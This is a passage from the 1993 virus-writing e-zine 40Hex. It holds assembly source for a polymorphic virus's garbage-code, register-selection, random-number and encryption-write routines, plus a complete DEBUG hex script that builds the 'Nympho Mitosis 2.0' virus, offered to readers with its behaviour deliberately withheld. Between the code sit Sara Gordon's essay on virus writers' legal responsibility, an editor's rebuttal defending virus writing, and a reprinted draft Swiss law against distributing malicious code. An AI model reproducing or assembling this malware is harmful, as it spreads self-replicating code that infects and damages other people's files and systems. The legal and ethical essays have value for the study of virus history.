  4757. ;=====( add garbage code )===================================================;
  4758.  
  4759. garble1:        push    ax bx cx dx bp
  4760.                 test    bp,100h                 ; Garble already executing?
  4761.                 jnz     garble_ret
  4762.                 and     bp,not 200h             ; keychange not executing
  4763.                 or      bp,100h                 ; Garble executing
  4764.                 call    boolean
  4765.                 jnz     garble_ret
  4766.                 mov     cl,3
  4767.                 call    random_1
  4768.                 xchg    dx,ax                   ; DX=random number
  4769.                 call    get_reg                 ; get register
  4770.                 jc      garble_ret
  4771.                 mov     bx,6
  4772.                 test    bp,800h                 ; flag change allowed?
  4773.                 jz      garble_f
  4774.                 mov     bl,2
  4775. garble_f:       call    random_bx            ; MOV/1BYTE/XCHG/MODIFY/ADD/MOV?
  4776.                 jnz     garble_xchg
  4777.                 or      ah,89h
  4778. garble_reg_set: call    boolean                 ; reg1, reg2 or reg2, reg1?
  4779.                 jz      garble_reg_reg
  4780.                 or      ah,2                    ; 8b
  4781.                 xchg    al,dl
  4782. garble_reg_reg: and     dl,7                    ; Get register values only
  4783.                 and     al,7
  4784.                 shl     dl,cl
  4785.                 or      al,0c0h                 ; MOV reg1, random reg
  4786.                 or      al,dl
  4787.                 xchg    al,ah
  4788.                 stosw
  4789. garble_ret:     pop     bp 
  4790.                 jmp     modify_pop
  4791.  
  4792. garble_xchg:    dec     bx
  4793.                 jnz     garble_1byte
  4794.                 xchg    dx,ax
  4795.                 call    get_reg                 ; get another reg
  4796.                 jc      garble_ret
  4797.                 xchg    dx,ax                   ; AL=reg1 DL=reg2
  4798.                 call    boolean
  4799.                 jnz     garble_xchgnoax
  4800.                 or      dl,dl                   ; AX?
  4801.                 jz      garble_xchgax
  4802.                 or      al,al
  4803.                 jz      garble_xchgax
  4804. garble_xchgnoax:or      ah,87h                  ; XCHG reg1,
  4805.                 jmp     garble_reg_reg
  4806.  
  4807. garble_xchgax:  or      al,90h
  4808.                 or      al,dl                   ; XCHG AX, reg
  4809. garble_stosb:   stosb
  4810.                 jmp     garble_ret
  4811.                 
  4812. garble_1byte:   dec     bx
  4813.                 jnz     garble_modify
  4814.                 mov     al,4
  4815.                 call    random
  4816.                 mov     bx,offset garble_1byte_tbl
  4817.                 xlat                            ; get 1 byte instruction
  4818.                 jmp     garble_stosb
  4819.                 
  4820. garble_modify:  dec     bx
  4821.                 jnz     garble_add
  4822.                 call    modify_reg              ; ADD/XOR/OR reg1, random #
  4823.                 jmp     garble_ret
  4824.  
  4825. garble_add:     dec     bx
  4826.                 jnz     garble_mov
  4827.                 call    add_reg                 ; ADD/SUB reg1, random #
  4828.                 jmp     garble_ret
  4829.  
  4830. garble_mov:     dec     bx
  4831.                 jnz     garble_op
  4832.                 call    mov_reg                 ; MOV reg1, random #
  4833.                 jmp     garble_ret
  4834.  
  4835. garble_op:      and     dh,00111000b            ; get rnd op
  4836.                 mov     ah,1
  4837.                 or      ah,dh
  4838.                 jmp     garble_reg_set
  4839.  
  4840. garble_1byte_tbl:
  4841.                 db      2eh
  4842.                 db      36h
  4843.                 cld
  4844.                 std
  4845.                 sti
  4846.                 
  4847. ;=====( Is BP a Pointer? )===================================================;
  4848.  
  4849. is_bp_ptr:      cmp     ds:ptr_reg,_bp
  4850.                 je      bp_is_ptr
  4851.                 cmp     ds:ptr_reg1,_bp
  4852. bp_is_ptr:      retn
  4853.  
  4854. ;=====( Get pointer register (DI/SI/BP/BX) )=================================;
  4855.  
  4856. get_ptr_regnext:call    del_reg                 ; restore register to pool
  4857.  
  4858. get_ptr_reg:    call    get_reg                 ; get register
  4859.                 cmp     al,_bx
  4860.                 je      got_ptr_reg
  4861.                 cmp     al,_bp
  4862.                 jb      get_ptr_regnext
  4863. got_ptr_reg:    retn
  4864.  
  4865. ;=====( return random register in AL )=======================================;
  4866.  
  4867. get_reg:        test    bp,11101111b            ; any registers free?
  4868.                 stc
  4869.                 jz      get_reg_exit
  4870. get_reg_loop:   mov     ax,7
  4871.                 call    random
  4872.                 push    ax
  4873.                 cbw
  4874.                 call    conv_num                ; convert to bit map
  4875.                 test    bp,ax                   ; is register free?
  4876.                 pushf
  4877.                 not     ax
  4878.                 and     bp,ax                   ; mark register
  4879.                 popf
  4880.                 pop     ax
  4881.                 jz      get_reg_loop
  4882. get_reg_exit:   retn
  4883.                 
  4884. ;=====( Restore register to pool )===========================================;
  4885.  
  4886. del_reg:        push    ax
  4887.                 cbw
  4888.                 call    conv_num                ; convert to bit number
  4889.                 or      bp,ax                   ; restore register
  4890.                 pop     ax
  4891.                 retn
  4892.  
  4893. ;=====( convert number to bit map )==========================================;
  4894.  
  4895. conv_num:       push    cx
  4896.                 mov     cl,al
  4897.                 mov     al,1
  4898.                 shl     al,cl
  4899.                 pop     cx
  4900.                 retn
  4901.  
  4902. ;=====( randomize order of BX/CX/DX/SI, then call )==========================;
  4903.  
  4904. order:          call    garble
  4905.                 mov     ax,2
  4906.                 call    random
  4907.                 xchg    cx,ax
  4908.                 inc     cx
  4909. order_loop:     call    boolean
  4910.                 jnz     order1
  4911.                 xchg    bx,ax
  4912. order1:         call    boolean
  4913.                 jnz     order2
  4914.                 xchg    dx,ax
  4915. order2:         call    boolean
  4916.                 jnz     order3
  4917.                 xchg    si,ax
  4918. order3:         loop    order_loop
  4919.                 push    si dx bx ax
  4920. order_ret:      retn
  4921.  
  4922. ;=====( return random number between 0 and ffff in bx )======================;
  4923.  
  4924. random_bx:      xchg    bx,ax
  4925.                 call    random
  4926.                 xchg    bx,ax
  4927.                 retn
  4928.  
  4929. ;=====( flip Sign bit )======================================================;
  4930.  
  4931. boolean:        push    ax
  4932.                 mov     ax,1
  4933.                 call    random
  4934.                 pop     ax
  4935.                 retn
  4936.  
  4937. ;=====( return random number between 0 and ffff )============================;
  4938.  
  4939. random_1:       mov     ax,-1
  4940.  
  4941. ;=====( Generate random number between 0 and AX )============================;
  4942.  
  4943. random:         push    ds bx cx dx ax
  4944.                 xor     ax,ax
  4945.                 int     1ah
  4946.                 push    cs
  4947.                 pop     ds
  4948.                 in      al,40h
  4949.                 xchg    cx,ax
  4950.                 xchg    dx,ax
  4951.                 mov     bx,offset ran_num
  4952.                 xor     ds:[bx],ax
  4953.                 rol     word ptr ds:[bx],cl
  4954.                 xor     cx,ds:[bx]
  4955.                 rol     ax,cl
  4956.                 xor     dx,ds:[bx]
  4957.                 ror     dx,cl
  4958.                 xor     ax,dx
  4959.                 imul    dx
  4960.                 xor     ax,dx
  4961.                 xor     ds:[bx],ax
  4962.                 pop     cx
  4963.                 xor     dx,dx
  4964.                 inc     cx
  4965.                 je      random_ret
  4966.                 div     cx
  4967.                 xchg    ax,dx
  4968. random_ret:     pop     dx cx bx ds
  4969.                 or      ax,ax
  4970.                 retn
  4971.                     
  4972. ran_num         dw      ?
  4973.  
  4974. ;=====( Encrypts the code/writes it/decrypts code )==========================;
  4975.  
  4976. encode:         mov     bx,ds:handle
  4977.                 mov     ax,0
  4978. key             =       word ptr $ - 2
  4979.                 mov     cx,(decrypt-v_start)/2
  4980.                 xor     di,di
  4981. encode_break:   clc
  4982.                 clc
  4983.                 clc
  4984.                 clc                     ; XCHG CX,AX XCHG CX,AX
  4985.                 clc
  4986.                 clc                     ; CLC ADD AX,xxxx / XOR [DI],AX
  4987.                 clc
  4988.                 clc                     ; XOR [DI],AX / CLC ADD AX,xxxx
  4989.                 inc     di
  4990.                 inc     di
  4991.                 loop    encode_break
  4992. encode_ret      =       byte ptr $    
  4993.                 mov     ah,40h
  4994.                 mov     cx,file_size
  4995.                 cwd
  4996.                 pushf
  4997.                 call    cs:int_21
  4998.                 jc      encode_flag
  4999.                 sub     ax,cx
  5000. encode_flag:    pushf
  5001.                 pop     bp
  5002.                 mov     word ptr ds:[si],0
  5003. encode_flip     =       word ptr $ - 2
  5004.                 mov     byte ptr ds:write_buff[encode_ret-encode],0c3h
  5005.                 jmp     encode
  5006. encode_end:
  5007. 40Hex Number 12 Volume 3 Issue 3                                      File 006
  5008.  
  5009. This article is being written for 40-hex, because I believe
  5010. communication is the key to helping computing obtain its maximum
  5011. potential. I do not agree with all of the philosophies of many virus
  5012. writers. This article does not endorse the views of anyone other than
  5013. myself :), and does not endorse any other material that will appear in
  5014. this or any other issue of 40-hex. Many of the ideas expressed in this
  5015. article appeared in one of my submissions to Computer Underground
  5016. Digest. I'm writing this because I've had some good honest conversations
  5017. with some of the Phalcon/Skism people, and I appreciate them listening
  5018. to my views (even though they don't agree with them all).
  5019.  
  5020. Again, I am not going to get into this "not all viruses are meant to be
  5021. destructive, not everyone who calls a virus exchange BBS will use
  5022. viruses for evil purposes, some anti-virus product developers lie to
  5023. scare the users" business. I agree with all of this, and if you don't,
  5024. then you will have to find that out for yourself. Virus writers already
  5025. know this is true. If you are not a virus writer, and really don't know
  5026. what is going on, and are reading this magazine thinking that we need
  5027. laws to shut these guys down, you should do some investigation on your
  5028. own and find out what is really going on in the virus arena. These
  5029. arguments only cloud the issues, and the issue here is "What is going
  5030. on?". I can't tell you everything that is going on because I don't know,
  5031. but I tell you this much: Something's happening here....What it is ain't
  5032. exactly clear...
  5033.  
  5034. Computer viruses are programs but they are also more than 'just
  5035. programs'. I did an in-depth study of virus exchange BBS and found that
  5036. the viruses themselves did not have a signifant impact on the users. It
  5037. was more a case of certain attitudes having impact, and of the
  5038. (necessary) reaction on the part of security personnel and a-v product
  5039. developers having impact. By necessary action, I mean that each time a
  5040. virus writer releases a virus to a virus exchange BBS (losing control
  5041. over it) or releases it code in a magazine, people get scared.
  5042.  
  5043. Developers then have to put detection for that virus in their scanners.
  5044. Updates cost money. Some of this has changed since my study. More
  5045. viruses are being found in the wild. Some of this is due to their
  5046. intentional release, their availability on virus exchange BBS. Still,
  5047. the majority of the problem is not the distribution of the viruses but
  5048. the fostering of some of the attitudes. On the positive side, we see
  5049. some people finally calling for "responsible" action. Only time will
  5050. tell how long it lasts. To me, the P/S E-Mail virus site was a very bad
  5051. choice on the part of the administrators and I am glad it is gone.
  5052. Still, it was better than some situations which actively encourage using
  5053. viruses to cause damage. We don't yet live in that ideal world where we
  5054. can trust other people to act nice.
  5055.  
  5056. People want to say they can't help what someone else does with a virus
  5057. if they give it to them, but by exercising some common sense and
  5058. responsibility, they -can- help. It's not so much to ask considering the
  5059. future of cyberspace and it's freedoms are at stake here. If people keep
  5060. going like they are now, soon we will have laws that say we CANNOT give
  5061. certain code to anyone. Don't believe it? Read on.
  5062.  
  5063. When I talked about laws in the Fido Virus echos, virus writers told me
  5064. there is NO way there will be any laws against virus exchange BBS,
  5065. anywhere, ever. Free Speech. WRONG. Do you think I just pull this stuff
  5066. out of thin air?
  5067.  
  5068. It's not illegal to have such BBS in America. Not yet. They are illegal
  5069. in other countries. Specifically, the Dutch law (art.350a (3), 350b (2)
  5070. Sr.) addresses the distribution of computer viruses. "Any person who
  5071. intentionally or unlawfully makes available or distributes any
  5072. information (data) which is meant tto do damage by replicating itself in
  5073. an automated system shall be liable to a term of imprisonment not
  5074. exceeding four years or a fine of 100,000 guilders."
  5075.  
  5076. In Sweden, it's starting to sound more like this:
  5077.  
  5078. Anyone, who, without authorization  - erases, modifies, or destructs
  5079. electronically or similarly saved or data, or anyone who, creates,
  5080. promotes, offers, makes available, or circulates in any way means
  5081. destined for unauthorized deletion, modification, or destruction of such
  5082. data, will, if a complaint is filed, receive imprisonment for up to
  5083. three years, a fine, or if there is considerable damage, five years
  5084. sentence.
  5085.  
  5086. Is that clear enough? It is against the law in Holland to INTENTIONALLY
  5087. (i.e. on purpose, i.e. if you put it online, you knew you put it there)
  5088. to make available ANY data (program) that can do damage..specifically a
  5089. replicating program. That means virus. And don't forget that magic word,
  5090. "extradition". The Swiss laws are in draft stage.
  5091.  
  5092. Now, a lot of virus writers say they can't be held responsible for a
  5093. virus doing damage if they don't mean for it to escape, or if someone
  5094. else uses it. Wrong again. The law of negligence allows victims of
  5095. accidental injury to sue to obtain compensation for losses caused by
  5096. another's negligence. But, it's even more applicable if you consider the
  5097. aspect of torts. You can have what is called an intentional tort (which
  5098. is what lawyers use to refer to suits that try to get dollars for
  5099. damages, such as  libel, fraud). In these kinds of cases, you may think
  5100. just because you didn't mean for your virus to 'escape' you are not
  5101. legally responsible (forgetting about ethics for a minute. A lot of
  5102. virus writers seem to think if its not illegal to do xyz, xyz is
  5103. therefore ok to do. So lets put ethics aside and look at legalities).
  5104. You are indeed legally responsible because all that is necessary to
  5105. establish intentional torts is that you -intended- to do the act (write
  5106. the virus) that caused the harm. The law of negligence allows victims of
  5107. accidental injuries to sue for compensation due to negligence. This of
  5108. course refers to U.S. law, and is not in any way a complete reference,
  5109. but you can get the general idea. You don't just have free rein.
  5110.  
  5111. But, the law is not the solution, in my opinion. However, you can force
  5112. it to become the solution if you do not take responsibility for your
  5113. actions. If you keep making these viruses available indiscrimately, you
  5114. are creating LAWS, just as surely as if you had written the law with
  5115. your own hand.
  5116.  
  5117. Stop to think for a moment of the implications of this. The Dutch
  5118. enacted laws as the abuse of computerized equipment increased. While
  5119. some laws already existed that addressed computer crime, it became clear
  5120. that some intentional damage was being done that was slipping through
  5121. the loopholes in the law. Something must be going on that caused them to
  5122. react so strongly, to specifically include virus exchange bulletin
  5123. boards in this legislation. What was going on? Malicious damage.
  5124. Incitement. Actions that helped people to do damage. What is this
  5125. "incitement"?
  5126.  
  5127. Incitement. That is a term that is getting a lot of publicity now, with
  5128. Mike Elansky held on $500,000 bail for distributing a text file on his
  5129. BBS. The file contained the following text:
  5130.  
  5131.  
  5132.       ! Note to Law-enforcement type people: !  !  This file is intended
  5133. to promote    !  ! general havoc and *ANARCHY*, and     !  ! since your
  5134. going to be the first     !  ! assholes up against the wall.. there !  !
  5135. isnt a damn thing you can do about   !  ! it, pigs!
  5136. !
  5137.  
  5138.  
  5139. It may be distasteful to some people, but the kind of information
  5140. included in the file was the same 'anarchy' type information you can get
  5141. at your local library. Does it merit a young man being locked up with an
  5142. almost impossible bail? It's no worse than a lot of the graffitti you
  5143. can find in Manhattan, or LA, and it's no worse than you can hear on a
  5144. lot of albums. To me personally, it's just silliness. I know the fellow
  5145. who wrote the file, and I don't find him to be a threatening anarchist.
  5146. He's a fine person, who wrote the above as a parody-spoof. It is not
  5147. much different than the things you hear in the halls at most high
  5148. schools these days. I'm not saying it's a desireable manner of
  5149. expressing dissatisfaciton with the system, but its *NOT* the devil
  5150. incarnate.
  5151.  
  5152. Someone had it on their BBS, someone downloaded it, and now, the BBS
  5153. sysop is in jail for it. Something's happening here...
  5154.  
  5155. Fear. People are afraid. They are chasing the shadowy ghost, and imagine
  5156. it is 'the virus writer' or 'the hacker'. Well, virus writers and
  5157. hackers may do some of these things, but the majority of them do not.
  5158. the publicity. Why? Because they want it. And, what happens when they
  5159. want it, and get it? More fear. The real ghost is ignorance and fear,
  5160. not the virus writer or hacker. On the other hand there ARE some very
  5161. malicious people out there. And, maybe to protect people from them, we
  5162. will need laws. The way it stands right now, no one knows who is
  5163. malicious and who is not because everyone is hiding behind the "law".
  5164. This will change, very soon, if people do not stop thinking they can
  5165. just do whatever they like because its "legal". Laws are established
  5166. when new situations come about, and some people are pushing the envelope
  5167. here.
  5168.  
  5169. One thing that is happening is that people are afraid to say something
  5170. is wrong. We all have to stop being afraid to say something is WRONG. It
  5171. is WRONG to destroy or damage data of other people.
  5172.  
  5173. It's WRONG to encourage people to do it. and, if you can't figure out
  5174. what encourages people, then you had better figure it out soon, because
  5175. we don't have much time left.
  5176.  
  5177. I say you better figure it out fast because right now, people are up in
  5178. arms about computer viruses. They have every right in the world to
  5179. expect they shouldn't have to be on guard against any 'toys' that happen
  5180. to escape. They certainly deserve to be protected from people who
  5181. malicious release, or -irresponsibly release- viruses. They should not
  5182. have to learn every in and out of DOS to protect themselves. For most
  5183. people, computers are work. They are not just hack-o-matik machines
  5184. waiting to be explored. No one has the right to destroy other people's
  5185. information. Just like we don't want the government or other people to
  5186. just do whatever they feel like with -our- information, we have to
  5187. respect other people's rights to -their- information.
  5188.  
  5189. It isn't working. There are still people who are doing malicious things
  5190. with viruses.  In talking with a lot of virus writers, I've pretty much
  5191. gotten the same story. After a while, it's just not fun to do it
  5192. anymore, and they evolve into learning more about code in general. They
  5193. no longer upload it to unsuspecting people. Most of them don't even use
  5194. virus exchange BBS, because there is just not any point. You can only
  5195. get excited over FF/FN so many times, and sooner or later you move on to
  5196. other things. But there is still a problem. Newcomers to the virus scene
  5197. pass thru the same stages; they release their viruses either through
  5198. incompetence or purposeful maliciousness, to 'prove' themselves. It's
  5199. almost like a rite of passage.
  5200.  
  5201. It is this group, the intentionally malicious, that are drawing all of
  5202. the attention. It is this group that forced the hand of the Dutch
  5203. government. It is this group, malicious virus writers and hackers that
  5204. are drawing the attention of the the Legislators and Judiciary in the
  5205. United States, Canada, and now Switzerland.
  5206.  
  5207. Consider  that we are living in a truly global society. The laws cannot
  5208. forever be bound by traditional territorial borders. Think of the
  5209. implications for the future. Being held hostage by one's freedoms tends
  5210. to make one rethink their "Rights". -------
  5211.  
  5212. -- 
  5213.  
  5214. SGordon@Dockmaster.ncsc.mil / vfr@netcom.com         bbs:    219-273-2431
  5215. fidonet 1:227/190 / virnet 9:10/0  p.o. box 11417    south bend, in 46624
  5216.   *if you don't expect too much from me then you might not be let down*
  5217. ----
  5218.  
  5219.    I originally had a huge response for this, but I found that a
  5220. majority of my arguments were more aimed at the point of view she was
  5221. explaining, rather then her viewpoint.  The bottom line is, laws that
  5222. regulate information are horrible.  If it happens, it is unenforcible.
  5223. I do not believe that virus writers should be 'nice', or politically
  5224. correct, and I dont ever plan on removing virus source from 40Hex.
  5225. Another problem with her article is the part about virus writers doing
  5226. whatever they like just because it is 'legal'.  The point is, because
  5227. it IS legal, we can write viruses.  People also break the law and
  5228. distribute viruses.  It is NOT wrong to write a virus.  By any morality.
  5229. It is wrong to use it on someone else's computer illegally.  For the
  5230. most part I agree with Sara Gordon.  Before you go about saying she is a
  5231. narc, and she did this, and she did that, just ask yourself what have
  5232. you done about virus legislation.  If it is equal to zero, zilch, nada,
  5233. etc., then you should at least give her the credit of doing something to
  5234. help the underground, despite the rumors.  I don't care whether you
  5235. trust Sara Gordon, but realize that in this issue she is definately
  5236. fighting the legislation.
  5237. 40Hex Number 12 Volume 3 Issue 3                                      File 007
  5238.  
  5239.    This is the latest virus from our newest member Memory Lapse.  This
  5240. time, we aren't going to tell you what it does, so, enjoy it.  It is
  5241. called Nympho Mitosis 2.0.
  5242.  
  5243. ->Gheap
  5244.  
  5245.  
  5246.  
  5247. -------<snip, snip, snip>-----------------------------
  5248. n nympho20.com
  5249. e 0100 BD 00 00 48 CD 21 BB 4D 5A 74 53 1E 06 33 FF 8C 
  5250. e 0110 C0 48 8E D8 38 3D 75 44 88 1D 83 6D 03 44 83 6D 
  5251. e 0120 12 44 8B 45 12 8E D8 40 8E C0 88 3D C7 45 01 08 
  5252. e 0130 00 C7 45 03 43 00 0E 1F 8D B6 00 01 81 F7 00 01 
  5253. e 0140 B9 94 01 F3 A5 B8 89 01 8E D9 87 06 84 00 26 A3 
  5254. e 0150 BC 01 8C C0 87 06 86 00 26 A3 BE 01 07 1F 8D B6 
  5255. e 0160 FB 03 2E 3B 1C 74 13 86 FB 2E 2B 1C 74 0C BF 00 
  5256. e 0170 01 57 C6 05 C3 FF D7 A4 A5 C3 8C C0 05 10 00 2E 
  5257. e 0180 03 44 16 50 2E FF 74 14 CB 3D FF FF 75 02 40 CF 
  5258. e 0190 80 FC 4E 74 33 80 FC 4F 74 2E 80 FC 11 74 56 80 
  5259. e 01A0 FC 12 74 51 06 1E 60 33 ED 3D 00 6C 74 12 80 FC 
  5260. e 01B0 3D 74 0F 2D 00 4B 74 0D 61 1F 07 EA 00 00 00 00 
  5261. e 01C0 87 D6 E9 C2 00 E9 20 01 E8 2A 02 72 25 60 06 B4 
  5262. e 01D0 2F CD 21 26 8B 47 16 26 8B 4F 18 25 1F 00 83 E1 
  5263. e 01E0 1F 49 33 C1 75 0A 26 81 6F 1A 13 03 26 19 47 1C 
  5264. e 01F0 07 61 CA 02 00 E8 FD 01 84 C0 75 3F 60 06 B4 51 
  5265. e 0200 CD 21 8E C3 26 2B 1E 16 00 75 2E 8B DA 8A 07 50 
  5266. e 0210 B4 2F CD 21 58 FE C0 75 03 83 C3 07 26 8B 47 17 
  5267. e 0220 26 8B 4F 19 25 1F 00 83 E1 1F 49 33 C1 75 0A 26 
  5268. e 0230 81 6F 1D 13 03 26 19 47 1F 07 61 CF 5B 4E 79 6D 
  5269. e 0240 70 68 6F 20 4D 69 74 6F 73 69 73 5D 20 76 32 2E 
  5270. e 0250 30 00 43 6F 70 79 72 69 67 68 74 20 28 63 29 20 
  5271. e 0260 31 39 39 33 20 4D 65 6D 6F 72 79 20 4C 61 70 73 
  5272. e 0270 65 00 50 68 61 6C 63 6F 6E 2F 53 6B 69 73 6D 20 
  5273. e 0280 43 61 6E 61 64 61 00 E8 30 01 26 8B 45 0D 26 8B 
  5274. e 0290 4D 0F 25 1F 00 83 E1 1F 49 2B C1 75 48 E8 44 01 
  5275. e 02A0 52 50 2D 18 00 1B D5 26 89 45 15 26 89 55 17 B4 
  5276. e 02B0 3F B9 18 00 BA 13 04 CD 21 E8 1F 01 B4 40 CD 21 
  5277. e 02C0 58 5A 2D 13 03 1B D5 26 89 45 15 26 89 55 17 B4 
  5278. e 02D0 40 8B CD CD 21 26 8B 4D 0D 26 8B 55 0F 80 E1 E0 
  5279. e 02E0 FE C1 E9 C9 00 E9 CB 00 E8 CF 00 26 8B 45 0D 26 
  5280. e 02F0 8B 4D 0F 25 1F 00 83 E1 1F 49 33 C1 74 32 B4 3F 
  5281. e 0300 B9 18 00 BA FB 03 CD 21 B8 4D 5A BE 13 04 8B 16 
  5282. e 0310 FB 03 3B C2 74 1D 86 E0 2B C2 74 17 E8 C5 00 A3 
  5283. e 0320 01 01 B9 03 00 2B C1 C6 04 E9 89 44 01 51 EB 57 
  5284. e 0330 E9 80 00 26 8B 45 20 3D 54 42 74 F4 3D 46 2D 74 
  5285. e 0340 EF 3D 53 43 74 EA 2D 43 4C 74 E5 E8 8D 00 B4 3F 
  5286. e 0350 51 8B D6 CD 21 E8 8C 00 52 50 05 13 03 13 D5 B9 
  5287. e 0360 00 02 F7 F1 0B D2 74 01 40 89 54 02 89 44 04 58 
  5288. e 0370 5A B9 10 00 F7 F1 2B 44 08 89 54 14 89 44 16 81 
  5289. e 0380 EA 00 01 89 16 01 01 B4 40 B9 13 03 BA 00 01 CD 
  5290. e 0390 21 E8 47 00 B4 40 59 8B D6 CD 21 26 8B 4D 0D 26 
  5291. e 03A0 8B 55 0F 52 83 E1 E0 83 E2 1F 4A 0B CA 5A B8 01 
  5292. e 03B0 57 CD 21 B4 3E CD 21 E9 FE FD B8 00 3D E8 35 00 
  5293. e 03C0 93 53 0E 0E 1F 07 B8 20 12 CD 2F B8 16 12 26 8A 
  5294. e 03D0 1D CD 2F 5B 26 C7 45 02 02 00 C3 26 89 6D 15 26 
  5295. e 03E0 89 6D 17 C3 1E 26 C5 45 11 8C DA 26 89 45 15 26 
  5296. e 03F0 89 55 17 1F C3 9C 0E E8 C1 FD C3 CD 20 02 00 04 
  5297. e 0400 00 06 00 08 00 0A 00 0C 00 0E 00 10 00 12 00 14 
  5298. e 0410 00 16 00 
  5299. rcx
  5300. 0313
  5301. w
  5302. q
  5303. ------------------------------------------------------
  5304. 40Hex Number 12 Volume 3 Issue 3                                      File 008
  5305.  
  5306. Article #1
  5307. ----------
  5308.  
  5309. Subj:   Draft Swiss AntiVirus regulation
  5310.  
  5311. To whom it may concern:
  5312.  
  5313. The Swiss Federal Agency for Informatics (Bundesamt fuer Informatik, Bern) is
  5314. preparing a legislative act against distribution of malicious code, such
  5315. as viruses, via VxBBS etc. You may know that there have been several attempts
  5316. to regulate the development and distribution of malicious software, in UK, USA
  5317. and other countries, but so far, Virus Exchange BBS seem to survive even in
  5318. countries with regulations and (some) knowledgeable crime investigators.
  5319.  
  5320. In order to optimize the input into the Swiss legal discussion, I suggested
  5321. that their draft be internationally distributed,  for comments and suggestions
  5322. from technical and legal experts in this area. Mr. Claudio G. Frigerio from
  5323. Bern kindly translated the (Swiss) text into English (see appended text, both
  5324. in German and English); in case of any misunderstanding, the German text is the
  5325. legally relevant one! Any discussion on this forum is helpful; please send
  5326. your comments (Cc:) also to Mr. Claudio G. Frigerio (as he's not on this list).
  5327.  
  5328. "The Messenger" (Klaus Brunnstein: October 9, 1993)
  5329.  
  5330. ###############################################################
  5331. Appendix 1:
  5332. Entwurf zu Art. 144 Abs. 2 des Schweizerischen Strafgesetzbuches
  5333.  
  5334. "Wer unbefugt elektronisch oder in vergleichbarer
  5335. Weise gespeicherte oder uebermittelte Daten loescht,
  5336. veraendert oder unbrauchbar macht, oder Mittel, die
  5337. zum unbefugten Loeschen, Aendern oder Unbrauchbarmachen
  5338. solcher Daten bestimmt sind, herstellt oder anpreist,
  5339. anbietet, zugaenglich macht oder sonstwie in Verkehr
  5340. bringt, wird, auf Antrag, mit der gleichen Strafe belegt."
  5341.  
  5342. P.S.: gleiche Strafe =JBusse oder Gefaengnis bis zu 3 Jahren;
  5343.       bei grossem Schaden, bis zu 5 Jahren Gefaengnis sowie Verfolgung
  5344.       von Amtes wegen (Offizialdelikt)
  5345.  
  5346. ###############################################################
  5347. Draft of article 144 paragraph 2 of the Swiss Penal Code
  5348. (English translation)
  5349.  
  5350. "Anyone, who, without authorization
  5351.    - erases, modifies, or destructs
  5352.      electronically or similarly saved or data,
  5353. or anyone who,
  5354.    - creates, promotes, offers, makes available, or circulates in
  5355.      any way
  5356.      means destined for unauthorized deletion, modification, or
  5357.      destruction of such data,
  5358. will, if a complaint is filed, receive the same punishment."
  5359.  
  5360. P.S.: same punishment =Jfine or imprisonment for a term of up to
  5361.       three years; in cases of a considerable dam-age, five years with
  5362.       prosecution ex officio
  5363. ###############################################################
  5364. Author: Claudio G. Frigerio, Attorney-At-Law
  5365. Swiss Federal Office of Information Technology and System,
  5366. e-mail: bfi@ezinfo.vmsmail.ethz.ch
  5367. ###############################################################
  5368.  
  5369. Article 2:
  5370. ---------
  5371.  
  5372. Subj: More about Swiss Anti-Virus Laws
  5373.  
  5374. Thanks to everybody who replied on the subject of Swiss Anti-Virus Legis-
  5375. lation.
  5376.  
  5377. As somebody noticed there was a word missing in the English translation. It
  5378. should have been: "... destructs electronically or similarly saved or TRANS-
  5379. MITTED data will..."
  5380.  
  5381. The text posted to the net, was a trial to include into the "data damaging"
  5382. even creation and dealing/circulating computer viruses. The idea behind this,
  5383. is that the virus itself already carries the malicious intent of his author.
  5384. Therefore it is dangerous in any circumstance. Actually a virus can not be
  5385. abused, as the idea of abuse includes the possibility, that a virus can be
  5386. used in a good way too. As I have been told by specialists, there is no such
  5387. "good use" of a virus as any unauthorized change of data has the potential of
  5388. interfering with other data and/or programs in environments, that the virus
  5389. author did/could not foresee. And even the unauthorized use of storage space
  5390. is a damage, as this space will not be available for authorized uses of the
  5391. computer system. Computer virus are an "absolute danger", and as any other
  5392. dangerous thing (like explosive, poison, radioactiv materials or genetic
  5393. materials in specialized labs) computer virus should not be created or
  5394. circulated without restrictions.
  5395.  
  5396. It has been remarked that in the text there was no word about the requisite
  5397. intent or requisite knowledge of the committer. This way any BBS sysop would
  5398. always risk criminal charges, if his BBS carries any virus infected software
  5399. but the sysop isn't aware of it.
  5400.  
  5401. I apologize for not having told that Swiss Penal Law only considers inten-
  5402. tional crimes, if there is no explicit indication that negligent acts are
  5403. punished too. Therefore according to Swiss Penal Law terminology and system,
  5404. the text posted to the net only considers who "knowingly and willingly"
  5405. commits the act. That means that the author of the virus has to know it was
  5406. a virus, what he created: this is always the case. And who circulates the
  5407. virus has to know it was a virus and he wanted to circulate it. The know-
  5408. ledge that SW was or carried a virus can be proved easily by the fact that 
  5409. nobody knowingly stores viruses without labeling or marking them in any way,
  5410. in order not to be infected himself (yes, I know: if there really is somebody
  5411. so foolish, I have to find another way to prove his knowledge). For BBS a
  5412. "Virus Directory" containing viruses or virus source codes is evidence enough
  5413. for the "requisite knowledge and intent". The law does no want to punish
  5414. accidental distribution of viruses.
  5415.  
  5416. The phrase "means destined for unauthorized deletion" has been considered
  5417. unclear. "Means" certainly includes not only software, but source code (on
  5418. paper as on disks) too. It has been remarked that it's the classical tool-
  5419. maker problem: a knife can be used as woodcarver to make a great work, but
  5420. it might be used aven as a thug to commit murder.
  5421. I realized this problem, but would you consider a knife as generally
  5422. destined to commit murder? Or would you consider explosive as generally
  5423. destined to create damage? We have to be aware that most items can be used
  5424. in a legal or abused in an illegal way. Seldom an item can only be used in
  5425. an illegal way, but computer viruses are such items! I do not speak about
  5426. software using virus specific reproduction techniques (like "killer viruses"
  5427. for copyright enforcement or "anti-viruses" supposed to fight viruses) that
  5428. make data changes with the explicit (contract/license) or implicit (highly
  5429. probable agreement of the user) authorization of the user. This kind of SW
  5430. is actually not included in the definition of "means destined for unatho-
  5431. rized deletion, modification, or destruction of data".
  5432. Therefore you cannot say that Norton Utilities, WipeFile or any other
  5433. similar general purpose SW or utilities are "destined for unautorized
  5434. deletion, modification or destruction", although they certainly could be
  5435. used for this.
  5436.  
  5437. The text doesn't say anything about malice, malicious intents or the intent
  5438. to damage, as these elements are very difficult to prove in trial, if the
  5439. accused denies any such intention. Actually I considered these subjective
  5440. elements as not really necessary, as the virus already carries the malicious
  5441. intent of its author: the malice of the author is proved by his virus, and
  5442. the malice of somebody circulating the virus is proved, if his knowledge,
  5443. that he was circulating a virus, is proved.
  5444.  
  5445. According to general principles of penal law the site of crime is the main
  5446. link to charge somebody. If a virus has been created or circulated outside
  5447. the national borders of Switzerland, Swiss Penal law cannot be applied. But
